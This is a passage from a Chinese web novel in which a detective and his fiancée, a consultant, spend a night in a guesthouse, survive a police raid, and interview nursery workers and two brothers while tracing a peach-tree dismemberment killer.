还有另一个口袋呢。 又一摸,还是没摸着。 安暖就奇怪了,那会在哪里呢? 楚隽的睡姿还挺斯文的,侧卧着,被子搭着胸口。一只手在被子外垂着,闭着眼,规规矩矩的。 他睡前好像还洗了个头洗了澡,头发有些微微的湿贴在额头上,紧闭着眼睛。 这还是安暖第一次看楚隽睡觉呢,看了就忍不住多看两眼。 别说,这人睡着以后,浑身的气焰都收敛了,还挺人畜无害的。就像是凭空年轻了好几岁一样。 安暖又摸了摸楚隽放在椅子上的衣服口袋,里面也没有钥匙。 再看看楚隽,他的钱包就丢在床头柜上,下面好像压了什么东西。 可能是钥匙。 安暖走了过去,刚要去把钱包拿起来看看,突然背后伸出一只手,握住了她的手腕。 安暖一惊,还没反应过来,便被往后一拽,腿弯撞到了床边,仰面躺下了。 她短促地啊了一声,身体往下一沉,一个人影压了上来。 只有楚隽,没有别人。 安暖条件反射地伸手去推他,被楚隽握住了手腕,压在一旁。 “楚隽。”安暖低声道:“是我。” “嗯,我知道。”楚隽的声音是刚睡醒的暗哑:“你在我房间里,做什么呢?” 一滴水,从楚隽的头发上滴下来,落在安暖眼睛旁。 安暖眯了眯眼睛。 “我找车钥匙,去车上拿本书看。”安暖用了点力气:“你快放开我。” 楚隽却没放手。 床很软,安暖陷在里面。 楚隽还是有分寸的,并没有压在她身上,只是限制了她的行为。 他只要一只手,就能压制得她动弹不得。 “原来是找车钥匙啊。”楚隽似笑非笑:“还以为你想对我耍流氓呢?” “现在是你对我耍流氓好嘛?”安暖没好气道:“放手,楚队长你的人设要碎一地了。” 这还是那个一本正经的楚队长吗?要是被人看见,就不怕名声不好? 楚隽呵呵一笑。 他也不靠近,也不放手,就这么看着她。 第87章 差点被抓 安暖觉得楚隽有点不对劲,总不是睡糊涂了吧,要不把第二人格给睡出来了? “安暖。”楚隽说:“咱们聊聊。” 安暖有些疑惑:“聊什么?” “聊聊咱们俩的关系。” “可以啊。”安暖这会儿不占上风,特别好说话:“那咱们也不能这么聊,你先松开我。” 安暖的手虽然被按住了,但身体是自由的,她拱了拱,却被楚隽用另一只手按在腰上。 “别乱动。”楚隽说:“乱动的话,我就不客气了。” 安暖十分无语。 看来黑夜不但给了楚隽黑色的眼睛,还给了他耍流氓的勇气。 “楚队长,你是个正经人,别学一副混混做派,多不合适你啊。” “我也不想。”楚隽说的竟然还挺有道理:“不过我发现你这个人,平时太冷静。如果是正常谈话,你就算是说谎,也看不出来。” 好家伙,楚隽竟然打算严刑逼供吗? 楚隽本来是拿着男主的剧本,现在打算爆改反派了? 这人设真是稀碎了。 安暖轻轻地吸了口气,缓缓呼出。 慢慢地放松下来。 床挺软,虽然这个姿势有点压迫感,但安暖从心里就感觉不到恐惧。 在她心里,楚隽是一个什么样的人早就已经刻画清楚。 一个有权利的人,如果心思狠毒,不择手段,那早就 “楚隽,没用的。” “什么?” “我不相信你会伤害我,所以我害怕不起来。”安暖冷静看着楚隽:“楚隽,我不瞎,我敢赌,你做不出耍流氓的事情来。” 好人装坏人,那可比坏人装好人要难得多。 楚隽定定地看着她。 “孤男寡女,你就这么相信我。是不是有点轻率了?我……也是个男人。” “不轻率,而且我哪怕不信你,我也信我自己的眼光。”安暖笃定道:“要不你动一个试试?” 两军对垒,不是东风压到西风,就是西风压到东风。 楚隽可是党和人命考验过的人。 而且,安暖深深地觉得,有些事情,楚隽是真没想明白。 他那张脸长得那么好看,如今睡眼惺忪头发微乱,穿着件松垮的浴袍露着半个胸膛。 灯光昏暗,床铺柔软,还有一个未婚夫妻那么名正言顺的身份。 一时有些分不清,如果楚隽打算严刑逼供,用的是不是美人计? 有钱有颜的未婚夫,她也是要耗一些精神,才能抵抗住诱惑的。 楚隽伸手,撩开安暖落在脸庞的一缕头发。 安暖屏住了一下呼吸。 手也这么好看。 真要命! 现在要是谈什么,她都觉得自己有点不太清楚了。 就在楚隽正要说话的时候,外面好像闹了起来。 两人一起往外看去。 门被一脚踢开了。 “警察查房。” 楚隽几乎是一下子放手弹了起来。 安暖也惊呆了。 扫黄打非是哪一年开始的?这就开始有人查房扫黄了?不会吧? 刚才她进来只是为了拿一下车钥匙,因此没有将门关严,这会儿一推就开,连敲门都省了。 楚隽第一个反应,是从枕头下拿了什么东西放在口袋里。安暖没看清,但猜那是他的配枪。 灯被打开了,房间里顿时亮了起来。 几个民警冲了进来。 “有人举报,有人在这里从事非法活动,乱搞男女关系。都别动……” 安暖也赶紧下了床站好。 还好,她还算衣衫整齐,要不然就更尴尬了。 “误会。”楚隽迎来上去:“同志,你们是哪个所的。” “别套近乎?”有人过来,上手就要拽安暖:“走,跟我们去一趟派出所。” 楚隽一把抓住安暖胳膊,拽到自己身后。 “还敢拘捕?”民警一看面色一变。 楚隽高声道:“你们搞错了,我是京市刑警队的,在这里执行任务。” 这一喊,对方显然也迟疑了。 楚隽出门,证件和枪都是随身携带的。 枪这会儿不好掏,容易被误会。 他一把抓过自己的裤子:“我有证件。” 证件掏出来,一个年纪大些的民警接过去看了看,面色迟疑:“你……真的是刑警队的。” “证件还敢造假吗?”楚隽无奈从口袋里摸出配枪:“我是来办案的。” 证件在几个人手上传了一下,看来是信了。 几个民警的脸色都有点尴尬了。 “咳咳。”年纪大的那个,将证件还回来:“楚队长,你是来办案的。那这……” 他指了指安暖。 今天这事情,可算是逮了个正着啊。 他们闯进来的时候,差一点就人赃并获了。 “这是我未婚妻安暖。”楚隽说:“哦,她是我们刑侦队的特别顾问,也是一起办案的。她住在隔壁房间,刚才过来,是想和我讨论一下案情。” 几个民警的表情都很复杂。 未婚夫妻就是不一样哈,讨论案情都是躺在床上讨论的。这姿势莫非特别有利于推理发现? 安暖真是感谢他们,让她有了一个临时身份。 楚隽的顾虑是有道理的。 他们就算是未婚夫妻,哪怕就是夫妻吧,也没有出来上班出差,还带着未婚妻的道理。这叫怎么回事呢?就算不犯法,但是有损形象。 “原来是这样,那今天是误会了。楚队长,抱歉。” 办案多了的警察,对于男女之间的关系,一般一眼就能看出来。 是真的情侣夫妻,还是不正当的关系,金钱交易,三两句话一问,基本门清。 “不碍事,不碍事,辛苦你们了。”楚隽寒暄两句:“不过今晚这是怎么回事?有人举报我?是什么人举报的?” “这个……”民警抓了抓脑袋:“楚队,你知道的,这个不好说。” “行,那我不问了。”楚隽从随身带的包里拿了几包烟出来,一人塞一包:“辛苦了,下次有机会,请大家吃饭。” 这就是客气话了。 几个民警客气几句,收了烟,寒暄几句,就走了。 门关上。 安暖也打算走,但是被楚隽一把拽住了。 “楚隽,你还是先睡吧。”安暖回身拍了拍楚隽的胸口:“超过四十个小时没有休息,你现在头脑不是很清醒。” 第88章 一张床可以睡两个人 她和楚隽可能是要谈一谈了,但是也不着急这一时。 他们又不是有什么不可调和的矛盾,楚隽之所以想要和她好好谈一谈,十有八九,谈的是些踌躇迷茫的情感。 这个年代的人,除了向浩然那样的花花公子,大部分的人在感情上还是很单纯的。楚队长,看起来一副万事游刃有余的模样,说不定清纯得很呢。 于是安暖觉得自己更游刃有余了。 拍完楚隽,安暖就打算走了。 楚隽是真的需要睡觉了,不然明天没法工作。 但是楚隽反手握住了安暖的手腕。 “怎么了?” 楚隽说:“今晚你就在这里睡。” “为什么?” 开两间房,睡一个屋,钱多烧得慌吗? 即便在酒店里,也开了一个套间,里面两个卧室啊。 “安全。”楚隽走到沙发边:“你睡床,我睡沙发。” 一听安全两个字,安暖心里那点旖旎心思就到了九霄云外,立刻紧张起来。 毕竟她是真的被追杀过,差一点丢了性命的。 安暖低声道:“怎么了?有什么情况?” 这里可不是荒郊野外的水库啊,这里虽然有点偏,但离京市那么近,不能那么乱吧?楚隽到底得罪了多少人? “不好说,但刚才的事情,我总觉得有些巧合。”楚隽说:“你知道的,我手上办过那么多案子,难免得罪了一些人。不至于草木皆兵,但小心点总没错。” “哦,那行。”安暖想了想:“沙发短,你睡着不舒服。我睡沙发,你睡床。” 安暖毫不犹豫地往沙发上一坐。 “去吧,上床去。” “不用……” 楚隽话还没说完,就被安暖打断了:“好了,大男人别矫情。去床上睡,你车钥匙在哪?我去车上拿两本书来看,拿了就回来。” 楚隽瞪着安暖,这一刻恍惚地觉得自己竟然成了小娇夫。 这可真是一种新奇的体验。 但是安暖已经起身拿车钥匙了。 她刚才看见了,确实在床头柜上。 不过没等安暖伸手,楚隽就先拿了钥匙。 “我陪你去,天黑了,你别一个人出去。” “好。” 车就停在楼下,楚隽虽然要休息,也不差这一会儿。看他现在的样子还挺清醒,不是昏昏沉沉的。 楚隽换了衣服,陪安暖去车上拿了书,这才又回来。 被安暖说了一次矫情之后,他也不再矫情了。 这一次直接上了床,不过没换睡衣,就这么和衣睡了。 安暖一时是睡不着了,就窝在沙发上看书,但是看了一会儿,只觉得十分难过。 这个招待所的条件十分一般,房间里的虽然是个沙发,但这沙发也非常简陋。 坐着还行,躺着受罪,硌得慌。 安暖换了好几个姿势,感觉这样不行。 明天还要工作,说不定要进山,如果在这沙发上窝一夜肯定睡不好,腰酸背痛影响很大。 她起身在房间里转了一圈,视线落在了床上。 楚隽睡觉非常老实,睡下是什么样子,现在还是什么样子,不是晚上会滚来滚去的类型。 这床虽然没有两米,也有一米五,睡两个成年人绰绰有余。 楚隽只占了一半,还空了一半呢。 有床不睡,自己受罪,这不合适啊。 安暖站在床边犹豫了一下,轻手轻脚上了床,躺在了空着的半边。 现在气温高,也不冷不用抢被子,只要在肚子上搭一个毯子就行。 四肢摊开躺上床,这一刻的舒服轻松难以形容,安暖呼出口气放松下来,侧过身体背对着楚隽,闭上眼睛也睡了。 除非是太累了,不然的话,她有准确的生物钟。 早上六点半,准时醒。 有闹钟没闹钟都一样,这是十几年上班如一日养成的时间观念。 安暖在晨光中睁开眼,然后一个激灵。 楚隽就坐在床对面的沙发上,看着她。 “哎呦,你醒啦。”安暖坐起来,扒拉扒拉头发。 楚隽比安暖早醒了二十分钟,迷迷糊糊醒来一侧脸,差点没吓死。 床上多了一个人。 他差一点没去摸枪。 “嗯,我醒了,刚醒就差点被你吓死。”楚隽一脸凝重:“你不是睡沙发的吗?晚上梦游吗?为什么睡在床上?” “没有,我没梦游。”安暖特别老实:“这沙发睡着太难受了,我看床又空了一半,就也睡床上了。” 安暖举起三根手指。 “我发誓,绝对没有碰你,没有占你便宜。我睡觉也可老实可老实了,这张床我们俩睡,井水不犯河水,一点问题都没有。” 安暖认真地害怕楚隽把她当做一个渣女。 楚隽的心情很复杂。 脸上的表情也很复杂。 他凑过去一点。 “安暖?” “嗯?” “你跟一个男人在一张床上过夜,就没觉得有什么不妥吗?” “确实不妥。”安暖叹了口气:“但是咱们俩既然是在一个房间过夜,是不是一张床已经不重要了。正常情况下,没人会知道。如果被人知道了,你说,跟人解释,没睡一张床。和跟人解释,只是单纯的休息。这两者又有什么区别呢?” 现在他们俩这关系已经很难清白了,先这样吧,不要太在意小节了。 楚隽盯着安暖看了半天,好像有什么话想说,但是终究还是没说。 “起来吧,这几天可能都要忙。我们俩的事情,忙完再说。” 是要谈一谈,但是眼下有更重要的事情要做。 案子不等人。 凶手也不等人。 这是一起情杀案,这只是他们的推测而已,万一不是呢。 凶手一天没有落网,就可能会有新的受害者。 两人洗漱了,离开招待所。 楚隽开车找了家早餐店,让安暖去买点早餐,自己在隔壁打了个电话。 昨晚上的事情,让人去查一查。 到底只是个巧合,还是有人刻意为之。 安暖买了两袋包子豆浆回来,上了车,和楚隽一起吃。 吃着吃着,突然,安暖停下了动作。 “怎么了?” “我有个疑问。” “随便问。” 安暖突然迟疑道:“你和其他女同事出差,比如法医什么的,也是……这样吗?” 第89章 向阳花木 “这样……是哪样?”楚隽咬着包子,有点含糊。本文搜:肯阅读 免费阅读 “就……比较随意一点。”安暖说:“比如像我们这样……” 睡一个屋子,睡一张床。 楚隽笑了一声,三两口咽下包子,喝了口水,这才凑过来。 “安暖,我可以把你这种行为理解成……吃醋?” 安暖差点没被包子噎着。 “不不不,不是这个意思,绝对没有这个意思。”安暖正色道:“我对你的自由,绝对没有一点干涉。只是有一些其他方面的考虑罢了。” “什么方面的考虑?” 但是安暖摇头不说。 楚隽看半天也没看出什么,但还是说:“首先,我们刑警队就没有女警,其他科室女性也不多。其次,就算出任务,一般也不会安排男女单独同行。你不在意影响,领导也要考虑这一点。最后,如果你说的生死关头,那顾虑不了太多。但正常情况下,肯定是要避嫌的。” 安暖说:“哦……” 楚隽倾身过来,给安暖系上安全带。 系好安全带后,却不着急坐好,而是就这么看着楚隽。 “安暖。”楚隽说:“你还没感觉出来吗?我们俩……已经分不了那么清楚了。” 逢场作戏也罢,假戏真做也罢,有些时候台子搭好,演着演着,就入了局。 安暖的心,咚咚咚的跳了几下。 这是从什么时候开始的呢? 大概是从第一次见面,躲在狭小的横梁上。又或者,在谢家花园那个不清不楚的吻。 他们今天的目标,是县城里几家花木公司。 劳动人民从来都是靠山吃山,靠水吃水,靠近香山,自然就有人要从山上赚钱讨生活。 虽然山上的树木是有管理的,但是山那么大,也不可能管理的太到位,总有人有的是办法。 县城里最大的一家花木公司,叫做向阳花木。 楚隽先开车去接了当地的一个民警崔义,然后一起去了向阳花木。 向阳花木的公司就在山脚下,要不是带了一个本地人领路,那是真找不到。 车在崎岖晚宴的土路上颠簸,哐哐哐的,晃的安暖都有点晕车了。 上午十点,终于到了花木公司门口。 “这就是县城里规模最大的花木公司了。”崔义介绍说:“他们家生意做的挺大的,全国各地都有销售。” 不过楚隽不是来调查生意的,对向阳花木公司一年卖多少钱的货不感兴趣。他只是来找一些经验丰富的专家,想要询问一些情况罢了。 刚才来的路上,他们又讨论了一下案情。 根据现场留下的半个脚印,尸块悬挂的高度,碰断的枝条等等,已经刻画出一个凶手的大体轮廓。 男性,身材偏瘦,身高一米七零。 是常年从事体力劳动的人,有丰富的林间作业经验,对香山非常熟悉。 可能有丰富的植物学知识,但这个不好说,也可能是死者有相关知识。 安暖还给受害人加了一个性格特征。 浪漫,偏执,相信爱情。 “桃花是象征爱情的花,把逝去的爱人挂在桃花树上,乍一看很恐怖,仔细想,这是一种精神上的血腥浪漫。” “杀人简单,处理尸体才是最难的一个环节。但他守在一座大山下,对山里非常熟悉。他真的想要毁尸灭迹,有的是更好的办法。” “最简单的,找一个人迹罕至的地方,地上挖个坑,把人往坑里一埋。这就很难找到。” 而不是高高的挂起来。 这和杀人后,抛尸在大马路上有什么区别? 安暖道:“凶手虽然残酷,但骨子里是疯狂炙热的。对爱情,有极端的追求。这种人,很可能对自己另一半有非常严重的控制欲,比如说,看见自己的女朋友和别的男人说一句话,都觉得自己被戴了绿帽子的那种。” 杀人可以激情,分尸不行。 这个过程需要准备,需要时间。 凶手的形象,在安暖面前,随着越来越多线索的出现,慢慢丰满。 接待他们的负责人是向阳花木的厂长,叫钭文彬。 钭文彬虽然穿着西装皮鞋,但是一看便是常年在田间地头干活儿的人。不是那种天天坐在办公室,上班下班一杯茶的。 “崔同志。”钭文彬和崔义认识:“今天过来,是有什么事情吗?” 案子的情况不能细说,崔义给钭文彬介绍了一下楚隽和安暖的身份,说是来咨询一些事情。 安暖的身份,自从昨晚上楚隽胡说八道之后,也算是分明了。 “这是安同志。”楚隽说:“刑警队的技术顾问。” 他没说的是,这个顾问,是私人聘请的。 虽然警局从来也没有过这个先例,但是只要不占用公家资源,楚隽自己掏钱请个顾问,也没有什么问题,旁人也挑不出毛病来。 如果只是一个想带在身边的未婚妻,那当 然不行,那是影响工作的行为。 但是昨天在山上的一举一动,安暖的能力是被认可的。即便大家觉得她不是专家,是个新人,这个新人,也是能干活儿的。 单位里,又能干活儿,又不占用大家的资源,那谁不欢迎呢? 钭文彬和安暖也握了握手。 “楚队长,你们具体想知道什么?” 楚隽问:“你们公司里,有观赏桃花树吗?” “有的。” “带我去看看。” 钭文彬不太明白楚隽要干什么,带着他们一直往前走。 “咱们公司主要是做观赏花卉树木的,所以桃花树都是观赏型的,也不是不结果,但是果子小,只要是赏花。楚队长,你要是喜欢,走的时候拉两株走。” 钭文彬果然是个会做生意,会做人的。 楚隽连忙婉拒了。 他可没有下来办案拿人东西的习惯。 不缺钱,犯不着。 再说了,拿两株树算怎么回事,车上也没法装。 “这桃花树,在那个山头,有点远。”钭文彬指了一下:“车开不进去,我们过去巡视,都是骑摩托车的。楚队长,你看……你们能骑吗?” 院子里,有好几辆摩托车。 也有自行车,还有板车,三轮车。 楚隽说:“没问题,摩托车我可以骑。” 他看向安暖。 安暖连连摇头。 “我可不行,摩托车太重,我撑不动。” 楚隽说:“那我带你。” 第90章 最后一户 安暖是骑过摩托车的,骑的时候没问题,但是停下来后,撑不住车身的重量,哐当一声就摔了。搜索:找小说网 本文免费阅读 自此之后,就再没有没有骑过了。 他们那个年代,骑摩托车的人少,大部分人骑的是电动车,环保省钱又方便。 楚隽上了车,安暖也坐了上去。 钭文彬和崔义一人上了一辆摩托车,不忘叮嘱。 “路抖,安同志抓紧点,小心摔着。” “好的。” 安暖一听,立刻紧张起来。 这摩托车后座位的前面,是有一个可以供扶手的横梁的,但是这车大概平时用的太狠也没怎么保养,扶手锈得厉害,上面还有挺多陈年泥垢。 安暖心里挣扎了半天,小心翼翼地搭了一下手。 车在山间逐渐加速,一个转弯,她身体一歪。 和脏兮兮的扶手相比,楚隽显然手感更好。 安暖情急之下一把抓住楚隽的衣服。 “坐好了。”楚隽没想太多:“别乱晃,小心点。” “嗯嗯嗯。”安暖连忙道:“我能拽着你吗,这个扶手有点脏。” “可以。” 也算相处了一段时间,楚隽对安暖还是有一些理解的。 干活儿的时候,再脏也不怕,尸体血淋淋的,下手一点都不含糊。 但是日常生活中,真的爱干净。 一个乡下来的姑娘,每天要洗头洗澡换衣服。稍微有点脏的地方,能不去尽量不去,非要去,也小心翼翼的。但也说不上多嫌弃,就是爱干净。 楚隽说完,安暖就搂了上来。 这腰,好搂。 虽然瘦,挺有劲儿。 安暖立刻就搂实在了。 楚隽挺直了腰身,行,搂吧。 不要趁机占他便宜就行了,他总有种感觉,安暖在偷偷摸摸的时候,想要伸手摸摸他的腹肌什么的。 摩托车速度很快,钭文彬和崔义都是常在山路上来来去去的,开得很熟练。 安暖一点都不意外,楚隽的车技也很好。 有些人运动神经发达,任何和运动相关的事情,都游刃有余。 安暖很安心,只要抱着楚隽的腰就行。 很快到了地方。 这是一片桃花林。 “就是这里了。”钭文彬说:“大概有五亩地。我们有三年苗,五年苗,十年苗,价格各不相同,总体来说,还是十年苗最受欢迎。” 下了车,楚隽走到一株树下。 “就是这个品种。”楚隽说:“没错,和山上的那一片是一样的。钭厂长,你们这桃园里,有多少个品种?” “有好几个呢。”钭文彬说:“有碧桃,洒金桃,单瓣桃,五宝桃……您看的这种,叫千瓣桃,这个品种花瓣数量极多,可达数百片,花形丰满圆润,色彩鲜艳夺目,是观赏性桃树中的珍品。” 几人在桃花林里转了一下,钭文彬介绍了一下各个不同的品种。 现在不是花期,所有的树都是绿油油的,分辨起来不是很容易。 但是安暖都认识。 说了一会儿,钭文彬都很佩服:“安同志,你竟然认识那么多不同的品种,还能分得出来,这一般人可不行。一般人对桃树的理解,就是一个开花,一个结果。” 安暖笑了一下:“爱好而已,不值一提。” 刑侦人员,在查案过程中,会碰见各种各样的事情,接触各行各业,知道的越多,就越容易从一堆乱麻中,找出破绽。 没有人能无所不知,但知道的越多,自然越好。 安暖说:“我看你们这些树,有一些应该是从香山上移植下来的吧。” “对,有的。”钭文彬说:“靠山吃山嘛,我不是吹牛,我家三代都是干这一行的,祖祖辈辈住在山下,我对这山的熟悉,和自家一样。” 安暖也觉得他不是吹牛,但是,吹牛不吹牛的,也不可能有人记住一片山的每一棵树。 楚隽道:“钭厂长,你们花木公司里,有多少对桃树非常了解的人。本地的工人也行,请来的专家顾问也行。” “咱们厂里……得有十几个吧,不一定,忙的时候还要请零时工,都是周边的村民,要是经常请的,也都很熟悉。” “他们都可以分辨出桃树和桃树之间的品种差别吗?” “这就不好说了,要看各人。这方面的专家肯定可以,工人的话……每个人都不一样。” 有人干活儿认真,脑子好使,旁人教一遍,他就会来,还能举一反三。 有人脑子慢,也糊弄,一个口令一个动作。第一年是生手,第二年还是生手。 这是没办法的事情。 楚隽沉吟着点了点头。 之前他觉得,这是一个比较冷门的知识,懂这个知识的人应该不多。但是如今看来,懂这个的人也不少,全部筛查一遍,也不是那么容易的。 但暂时也没有更好的办法,只能先排查。 根据他们推测出来的凶手形象,排查所有有嫌疑的人。 安暖半天坐在钭文彬的办公室里,见向阳花木公司的人,剩下的半天,让钭文彬带着,去见那些,曾经在这里打了几年零时工,但是并非固定员工的人。 有些人家住在山里还挺深的地方,幸亏有摩托车,要是靠两条腿,真要累死了。 安暖开始还只是在路面崎岖的时候,搂一下楚隽。后来累了,就干脆靠在他背上了。 这多少有一点破罐子破摔的成分在。 亲也亲了,抱也抱了,一张床都睡了,人人都知道他们未婚夫妻感情好了,现在还保持距离给谁看啊?给钭文彬和崔义两个不认识的人看吗? 五点半的时候,他们到了最后一户。 “也不知道这是不是你们要找的人。”钭文彬说:“如果不是,我就不知道还有谁了。” 钭文彬将车停在一个小院子门口。 “这户人家姓酆,他们家有两兄弟,一个叫酆耀杰,一个叫酆邦辉。爸爸死得早,妈妈身体不好,兄弟俩都没上什么学,就靠务农和打些零工过活。” 楚隽道:“这兄弟俩,多大了?” “一个二十三,一个二十五。” “脾气呢?” “虽然是兄弟俩,但脾气可不一样,天差地别。老大虽然只大两岁,但是性格沉稳。老二呢,脾气要急一点,有点闹。不过两个人干活儿都是一把好手,也不偷懒,这个还是很不错的。” 第91章 截然相反的兄弟 钭文彬上前敲了敲门,里面没有人回答。搜索:小说魂 本文免费阅读 “也不知道他们在家不在家。”钭文彬说:“现在这个时候,要是出去打工了,那还没回来。” 院子的门是掩着的,但是里面屋子的门是锁上的。 这种门锁,看不出是从外面锁的,还是从里面锁的。 院子里养着两只鸡,一只大黄狗。 狗白养了,挺温顺,见有人来也不叫,还摇尾巴。 钭文彬又敲了门,还扒着窗子看了一下,可惜窗户玻璃上糊了一层报纸,看不出里面的情况。 院子里,都是些泥土地,楚隽看了看,说:“人应该在家。” 这种地面非常容易留下脚印,虽然很浅,但也足够能看出来,最后留下的脚印,是进屋的。 “在家吗?”钭文彬有点糊涂,但更努力地敲起了门。 又敲了十来下之后,屋子里有人应了一声。 过了好一会儿,终于有人来开门了。 一个男人睡眼惺忪,显然正在熟睡中,被人吵醒了,十分的不情愿。一边开门,一边扣着衬衫扣子。 文彬一看,说:“小辉,你在睡觉呢。” 酆邦辉一看:“钭叔,是你啊,你怎么来了?” “我带几位同志,来跟你了解一下情况。” “了解……什么情况?”酆邦辉一脸的茫然,打着哈欠,将人往里让。 众人进了堂屋。 这屋子里,倒是叫人意外。 虽然是兄弟两个单身汉住,但这屋子比寻常人家的屋子还要整齐又干净,和院子里截然不同。 屋子里东西不多,但一点儿不乱,什么东西就摆在什么位置上,井井有条。 “屋子乱。”酆邦辉十分客气:“你们随便坐,我给你们倒杯水。” 这个年代乡下人的屋子里,是没有沙发这样的东西的,有一张桌子,上面有个凉水壶几个杯子。再就是几张自己做的小板凳,还有一个橱柜。 “不必客气。”楚隽制止了酆邦辉要给他们斟茶倒水的行为,客气地说:“有几个问题,想要问一下你。” 酆邦辉不认识楚隽,但是认识钭文彬,当地民警又穿着警服,因此也知道楚隽不是乱七八糟的人,他来问话,是要认真回答的。 “你说……”酆邦辉有些迟疑:“什么事情?” 楚隽道:“前天晚上,也就是九月十七号,你在什么地方?” “晚上……几点?” “天黑之后,十点到第二天早上五点这段时间,你在哪里?” “前天晚上?在家呀。”酆邦辉都不用想:“十点都天黑了,那我肯定是在家。我哥哥每天晚上七点下工,我这两天有点不舒服,就没出门,在家休息。那个时间,我们都在睡觉呢。” 楚隽往屋子里面看了看:“只有你们两个住,我听钭厂长说,你们和妈妈同住?” “哦,我妈不在这里,她年纪大了之后,就回了老家,跟姨娘住在一起。”酆邦辉说:“这边,就只有我们兄弟俩住。” 楚隽点了点头。 “我可以在屋子里看看吗?” “哦,可以,随便看。” 半夜出命案,最麻烦。 非常难找不在场证明。 这个年代又没有摄像头什么的,酆家住在山脚下,出门没出门,根本没有人知道。半夜出去一趟再回来,只要不被人当场碰着,就根本不会被发现。 只要酆邦辉不承认,就很难证明他出去过,或者,他一直在家。 这是自家盖的土房子,结构非常简单,中间一个堂屋,左右各一间屋子,是两兄弟的卧室,一人一间。 酆邦辉说:“之前是爸妈一间,我和哥哥住一间。自从妈妈搬走之后,我和哥哥就一人一间了。” 客厅的摆设很简陋,卧室里的摆设一样的简陋。 但是截然不同。 一间屋子很干净,收拾的整整齐齐。另一间屋子就乱一些了。 安暖一看床铺,就知道乱的那一间,就是酆邦辉的。 被子胡乱堆在一起,是刚刚有人睡过的。 另一个房间,他哥哥的房间,被子叠得整整齐齐,床边放着拖鞋,没有一件放在外面的衣服。 果然,这兄弟俩,就像钭文彬说的,一个稳重,一个懒散,性格截然不同。 安暖跟着楚隽在两个房间都看了一下,没有什么特别。 在屋子的角落里,安暖看见了农家常用的农具,锄头,砍刀之类的。 这几件用具都很干净,一看就是洗过的,上面连一点泥土都没有沾着。 安暖说:“你们家的农具,这么干净?” 之前的人家,农具工具,都是第一要检查的地方。 这些都是山里人家少不了经常要用的东西,用完之后,就丢在角落里。 这些物品,平常是不会总动的,除非是坏了,或者是不锋利了,天气好的时候,拿出来修补修补,磨一 磨。 酆邦辉挠了挠头,有点不好意思的说:“我哥哥这个人,就是爱干净。其实我觉得没有这个必要啊,但是他偏要弄。我房间不让他进,但是他自己的房间,外面这些地方,都弄的干干净净的。” “那外面呢?”安暖指了指院子:“院子他不收拾吗?” 酆邦辉就更不好意思了。 “收拾院子,是我的活儿。” “什么意思?” 酆邦辉解释道:“是这样的,我妈身体不好,小时候我们俩就得帮忙干活儿。我妈,她给我们各自安排了负责的区域。客厅,是我哥哥负责收拾。院子里,是我负责收拾。这么多年都成习惯了,就一直这样。不过我才懒得收拾……” 这一说,大家就懂了。 哥哥勤快,哥哥负责的地方也干净。 弟弟懒,弟弟负责的地方就脏兮兮。 一般这种情况下,勤快的那个人,都会被懒得那个慢慢的气疯。 难为兄弟俩能够互不干涉。 他们多待了一会儿,七点左右,哥哥酆耀杰也回来了。 他在外面给人做小工,一身的汗水泥土,显然很累。 山里人,文化程度不高,除了出卖力气,也没有更好的赚钱办法。 酆耀杰进了门,朝众人点了点头,没说话,先拿了一个桌上的杯子,咕咚咕咚喝了好几杯水。 又走到屋子角落,拿起毛巾擦了擦汗。 第92章头颅 喘了几口气,酆耀杰才坐了下来。 还是之前的问题,楚隽又问了一遍。 答案也没有什么特别,酆耀杰也说前天晚上,他是正常时间下工,下了工之后,就直接回家,然后吃饭,洗漱睡觉了。 楚隽道:“你有女朋友吗?” 酆耀杰有点失落的笑了一下:“没有,我这条件,哪个姑娘能看得上啊。” 早逝的爸,生病的妈,破烂的房子和打零工的他。 酆耀杰兄弟两人,都没有女朋友。 又问了一些日常的事情,众人便告辞了。 回到县城,不着急回酒店,楚隽带着安暖一起去了崔义所在的县公安局。 一天下来,各方面排查的结果如何,要汇总讨论一下。 还有昨天晚上的查房事件,楚隽多少心里有些疙瘩。不过这事情不能让当地插手,所以查起来没有那么快。 一天的时间,想要完全排查清楚是不可能的,毕竟那么多人呢。 崔义是闻安县派来和楚隽对接的,有什么事情,都由他负责。 楚隽坐在办公桌边,手边放着电话。 电话一个个打进来,打出去,将今天的各处的消息汇总起来。 排查费时费力,汇总消息,筛选消息,也是费时费力。 楚隽今天晚上才发现,安暖是个多么好用的顾问。 各种记录汇总,下笔如飞。 “安暖。”楚隽说:“你要是真的只有小学五年级的学历,我就把这个电话吃了。” 安暖都懒得搭理他。 是,我不止,但你也查不出什么。 在这件事情上,她是打定主意破罐子破摔了,随他去吧。 可惜了,众人忙了一天,并没有特别有嫌疑的人。 不是这一点对不上,就是那一点对不上,或者有明确不在场的证据。 散会已经是晚上十一点半了,今晚就近,住在县公安局边上的招待所。 这是县局指定的招待所,走两步路就到。 楚隽和安暖,一男一女,只要不是夫妻,崔义自然给开了两间房。 进了房间,安暖立刻洗漱躺下睡觉,一分钟都不愿意耽误。 根据她的经验,这案子如果没那么好破,那后面的日子只会越来越忙,越来越忙,要争分夺秒地休息。 果然,这一觉只睡了四小时。 半夜,门就被敲响了。 安暖一下子就坐了起来。 “安暖。” 外面是楚隽的声音。 “来了。”安暖一边穿衣服,一边赶紧去开门。 果然是楚隽站在门口,已经穿好了衣服,显然是要出发的样子。 “怎么了?”安暖忙道:“是不是有什么新线索了?” 看外面的天色,这会儿天还没有亮呢,估计才三四点。 楚隽说:“人头找到了。” 安暖顿时什么瞌睡都醒了。 “在哪里?” “就在山里。”楚隽说:“和我们之前推测的一样,就在山里的一小片桃花林里。那个地方是游客止步地。侦查人员下山之后,遇到了一些意外,所以消息刚刚传回来。” 昨天一天,四处查访的人不容易,在山里的人,那肯定是更不容易。 安暖飞快地跟着楚隽出了招待所。 “我们连夜回去。”楚隽说:“你上车可以继续睡。” “哦,不用。”安暖坚定地说:“我开车,你睡。” “嗯?” 开回去还要四个小时呢,现在三点半,也得上午七八点才能到。 开长途是很累的,更别提在边上有一个呼呼大睡的人的前提下。 “明天白天你肯定要忙一天。”安暖一把抓过楚隽手里的车钥匙:“睡眠不足会影响工作。听我的,我开车,你在车上补觉,明天上午到了局里以后,你肯定要忙,但是我可以补觉。” 楚隽有各种工作要安排,肯定睡不了一点。回去之后,肯定是连轴转的。 从道理上,楚隽知道安暖说得对。 但是从情感上,他有些迟疑。 没有道理让一个姑娘家开夜路,还开长途。 不过安暖已经把副驾驶的门推开,将他推进去了。 “这一路都有路标,我大概认识路,不过有些地方可能要问你一下。你也不能睡得太熟。”安暖坐进驾驶位:“放心吧楚队长,我可是老……老……” 